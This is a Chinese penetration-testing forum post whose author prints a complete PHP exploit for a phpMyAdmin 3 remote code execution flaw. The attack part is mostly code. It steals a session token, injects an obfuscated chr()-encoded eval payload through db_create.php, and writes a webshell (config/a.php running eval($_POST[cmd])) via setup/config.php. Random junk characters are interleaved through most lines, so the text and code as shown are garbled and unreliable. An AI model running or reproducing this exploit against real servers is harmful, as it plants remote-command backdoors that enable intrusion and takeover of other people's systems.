中国网络渗透测试联盟

标题: phpadmin3 remote code execute php版本exploit [打印本页]

作者: admin    时间: 2013-2-21 09:13
标题: phpadmin3 remote code execute php版本exploit
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。8 Q+ w* }1 @2 Z% _& z4 q

5 h9 z6 |% y& e9 N7 f3 ~9 q昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
, u/ y! ~' A. Z0 i% x8 E4 B5 J8 _* H. _) e( o2 k
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:$ @( P1 H$ o& \' g& p
一是session.auto_start = 1;7 ]/ C! G2 I9 q) k7 a! x. u
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
3 T+ t4 _8 Z" ~- x/ y4 c/ {当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。% a8 R& t7 u! Y: P: E

4 k+ V) ^" z# N# l6 d" b0 D在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。/ {3 o$ z! w1 G7 ^( j

' u3 H% N+ S' ?7 |; c于是写了这个php版本的exp,代码如下:4 S- Q! D, U0 g3 @9 a+ g
- C& H& w7 |- q- T: U5 [
#!/usr/bin/php( a5 E- R0 G: t& P, n6 n
<?php* X8 r: Y7 T# \: }/ ~2 m2 f; S
print_r('9 d4 X% B- S* c/ j& d- a! e4 F' i
+---------------------------------------------------------------------------+
. O. o$ |- h" `& d7 xpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
$ \% z0 I4 R( O# Z9 l' eby oldjun(www.oldjun.com)
- O& S1 H  k1 W+ L  Y; C9 z1 @2 Q$ ewelcome to www.t00ls.net/ ]" f) h+ _2 }* j9 s
mail: oldjun@gmail.com/ U- g7 {' N+ j; Z
Assigned CVE id: CVE-2011-25058 Q4 A2 c5 U6 E. d
+---------------------------------------------------------------------------+
: t" R. x  b( x0 G: E');& x7 S( c$ j# k! l/ E4 l0 f( A5 w
# O( n- N' K- j. G1 Q9 f
/**# o# O1 J% R2 j0 t9 C& O* Y, ?3 K
* working when the directory:"config" exists and is writeable.  W6 O. N0 M: |" ?3 O. Y
**// ^( N# K4 f9 b  S
1 w  M6 S. W3 o  c
if ($argc < 3) {
5 @# M5 ]: c- L8 J    print_r('
- \3 W  H1 o: K; j* v/ q  `0 V; d: t+---------------------------------------------------------------------------+( I0 @  R9 i- I0 D
Usage: php '.$argv[0].' host path
* @( L& z8 f9 w3 shost:      target server (ip/hostname)7 v6 ]+ i) t; m
path:      path to pma3( ~* P! |+ l1 C- n3 s7 Z- N& b
Example:
" \9 O0 r4 U# [- Sphp '.$argv[0].' localhost /pma/
, l& c; @7 e2 g- m+---------------------------------------------------------------------------+
4 R# c, o: Q6 r* W');
0 w, `4 q( E- T; {" \/ w    exit;1 }9 h; U$ c$ o: ]4 k4 C6 E
}
: S! M0 j3 m* s0 s8 P# \) q: O
7 q" w+ S: T0 h/ I0 e8 r" I0 E$host = $argv[1];
6 H0 j  _) F' ?8 t6 |3 P7 e% Y$path = $argv[2];2 I' Z" j/ {/ L" w2 H3 i9 ?" c

8 g5 [0 t. R( z/**# E" N( b- z2 a, u" s
* Try to determine if the directory:"config" exists
6 @' N! P& o* U9 V7 A6 u3 Y**/
+ O0 v- J4 b8 Z( h7 w6 i  Necho "[+] Try to determine if the directory:config exists....\n";3 u3 ]4 G; X) H& z5 b8 C
$returnstr=php_request('config/');2 i* [  j$ k9 |; W2 X; v
if(strpos($returnstr,'404')){& w; E) g$ M% Y1 n: z
    exit("[-] Exploit Failed! The directory:config do not exists!\n");9 O7 G$ {' K8 ?7 V5 y( m
}
3 f) n, F' n% U3 k' K7 L$ n
3 `4 `( `# C( S) o/ h/**/ d# u$ k" O1 ^/ |* x7 B
* Try to get token and sessionid$ t# y$ w8 H& p9 O  N+ p
**/
2 T) }  \  ^, Iecho "[+] Try to get token and sessionid....\n";
# D( {$ ?; m. t! r8 }5 ~1 W, C- y$result=php_request('index.php');
& t/ ]: j# b, ?' K$ X2 wpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
9 r) A& g! R; h2 }% ~  k  M$token=$resp[3];2 M8 O8 B: w9 n: ?# k& h% L
$sessionid=$resp[1];
' C) S0 }+ y$ ^; ~1 eif($token && $sessionid){4 E+ P* z. |+ V
    echo "[+] tokentoken\n";
' N: \# |% @% {* J* u/ ~    echo "[+] Session IDsessionid\n";
. z4 G5 b9 ~  {" r( D}else{, Y6 j& J% K1 F- [
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
' E$ T+ e0 P* p}5 z+ X) ]- f$ n- G
) t% J% H" ]2 A( Z# k3 R
/**  k" Q; s/ M& R9 U! Q$ a0 w
* Try to insert shell into session
0 h4 ~( Z/ [# H5 Q**/; e5 @6 ^0 x6 r6 i
echo "[+] Try to insert shell into session....\n";
" o# ?/ v/ _- A( k. [php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.  j) C4 c0 f1 Y' k
- p* N$ c4 `, q
/**
1 i, S1 M1 y4 O. I" q: p! w- a4 a * Try to create webshell: Z. `1 S3 V: ^2 u8 o& |
**/  v" j' ^! h' ?, ?
echo "[+] Try to create webshell....\n";
( t/ J& {/ T( p$ I/ I' j: j8 qphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
# p: B5 U4 Y* o9 |) v7 s/**6 w4 G5 A2 \' L5 s) z8 u# m& ~' d( G
* Try to check if the webshell was created successfully7 G% F9 y6 J1 H" Z1 y% o$ i
**/
9 c* g2 k4 y, g2 V8 i1 Kecho "[+] Try to check if the webshell was created successfully....\n";
7 ?$ ?; e) ~$ E1 X0 a6 Q8 V  L! Q$content=php_request('config/config.inc.php');
: i1 Z3 O- q9 [& c" y, Nif(strpos($content,'t00ls')){
  H) e. P! B! V2 w4 c2 t    echo "[+] Congratulations! Expoilt successfully....\n";& z2 q6 }& t" a: }- ~
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";7 l3 T6 K3 z5 e6 _
}else{
& N) b6 D/ ?/ x8 a    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
5 X! N* l2 u# L+ ^: g5 y/ Q}
& }/ J4 [% J" V, _2 ]% z8 G% C" b; H/ D4 a
function php_request($url,$data='',$cookie=''){5 H* D) o' h3 Z+ `, W
    global  $host, $path;
6 M1 ?( O% [# S/ A8 ?    ( R2 A* v5 d2 m7 [% T
    $method=$data?'POST':'GET';
1 k" f: S7 H0 X/ V1 s   
9 M' V5 L3 U! n    $packet = $method." ".$path.$url." HTTP/1.1\r\n";( P3 C" G4 j( o( U4 w7 b% }4 Q
    $packet .= "Accept: */*\r\n";9 G) F6 s8 N6 T4 I( X6 o3 {
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";' L) ]& ~# b, _, A( z# O
    $packet .= "Host: $host\r\n";
& l# q, }' [/ |& U    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";  w2 d, K; F7 e. i8 {" P
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";: v% `( ]2 ~" |8 C
    $packet .= $cookie?"Cookie: $cookie\r\n":"";8 Q1 S- K! D7 I# B2 r" _
    $packet .= "Connection: Close\r\n\r\n";
4 W3 n, g. E$ K& b9 B$ ~    $packet .= $data?$data:"";9 B( h  O8 l5 e
  p0 p$ `# ^, U4 [8 e0 O- o
    $fp = fsockopen(gethostbyname($host), 80);& y( E" X9 P, H/ j) E3 x) G
    if (!$fp) {5 h: \9 o( _) R) I3 g
    echo 'No response from '.$host; die;% Y/ q# z7 t0 e; _
    }( A2 _' l$ Y! g4 y
    fputs($fp, $packet);
* s( c3 z. @7 a/ y
- h9 S( A! L: ]( Z4 G    $resp = '';
$ s) Q+ n; U6 a) i1 ^( R: ^6 b0 I1 D7 _) W
    while ($fp && !feof($fp))% H& R! l/ o# V
        $resp .= fread($fp, 1024);, M+ h  S$ V# v8 ~

" C/ i6 C/ p2 A! U9 B% U7 ]    return $resp;
5 X1 F+ v! \1 s  N}
- |3 e7 Y8 Z6 N4 t2 n) d. D8 G- x    # @' T! o7 M; l7 _  w4 t  F
?> % r) c% ?9 T6 Q/ H4 s* K4 U
.




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2